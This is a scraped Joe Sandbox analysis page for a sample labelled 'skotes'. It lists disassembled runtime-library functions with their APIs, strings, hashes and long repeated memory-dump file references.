Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: a46f1b07007f6f3afdacabb5e83ddaa802eb528b6c9ba01d76d04faea834d511
Instruction ID: c1ba07f08bfe19b39daa8a1713831a94b01b95bcfa2fe9e3d854215a6ec81b7a
Opcode Fuzzy Hash: a46f1b07007f6f3afdacabb5e83ddaa802eb528b6c9ba01d76d04faea834d511
Instruction Fuzzy Hash: EF212234600224EFCB08EFA8E891EAD73B1BF48310F004029F5169B691DB71AE11CF50

Function 0012B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0012BA0E

Strings

RoUninitialize, xrefs: 0012B9C1
combase.dll, xrefs: 0012B983, 0012B988, 0012B99D, 0012B9C8
RoInitialize, xrefs: 0012B998

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 02abf1dee018d33f83cc4bb09d4cf49ad200a8b4ec3b9e72d212e6288b87ff38
Instruction ID: 749c368de984220eae968d962e419016647779a0856122990a98a13fcb7a8ee8
Opcode Fuzzy Hash: 02abf1dee018d33f83cc4bb09d4cf49ad200a8b4ec3b9e72d212e6288b87ff38
Instruction Fuzzy Hash: 76014561986335AEFB01B7B66D41B7B328C5F02348F201C28F560F7181FFA6D81047A5

Function 00126E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00126E73

Part of subcall function 00124E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00124E7F
Part of subcall function 00124E6E: List.LIBCMT ref: 00124E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00126E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00126EAA

Strings

eventObject, xrefs: 00126E7D

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: aae917ef2001905a64bfb08e83cdd0b986e10d8f7c495754091c04388c5d6dbe
Instruction ID: fe5233983c6433da4d800d95ea1b285e986b436961df87b514480d3922be0530
Opcode Fuzzy Hash: aae917ef2001905a64bfb08e83cdd0b986e10d8f7c495754091c04388c5d6dbe
Instruction Fuzzy Hash: 52114475940224EBEB28FBA4DC82FEE73B86F00304F214125B624B60C1EB74AE04C6B1

Function 0012A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0012A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0012A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0012A139

Strings

pScheduler, xrefs: 0012A131

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: bda245c283eb2e25627eecac9bdca1aecaa6317be86edf3d281c77a8cbb33cbf
Instruction ID: 6115bb60e74044c1a9755ae23bff01b01bfd8727938731d26cd980b2d0ecfce7
Opcode Fuzzy Hash: bda245c283eb2e25627eecac9bdca1aecaa6317be86edf3d281c77a8cbb33cbf
Instruction Fuzzy Hash: 48F0E935A40224E7C725FB54FC83C9EF3789FA0724B508529E91557181DB70AA39C692

Function 0013CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0013CC66

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: f20397af0c20fa4514335ad68fc234eb4813d4f6397660fd3ccaa1b8b73e6fcc
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 03B111329042869FDB15CF68C881BAEBFA5EF55350F15817AE859FB242D7349D01CBE0

Function 001467A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00146902
__alloca_probe_16.LIBCMT ref: 00146998
__freea.LIBCMT ref: 00146A03
__freea.LIBCMT ref: 00146A0F

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
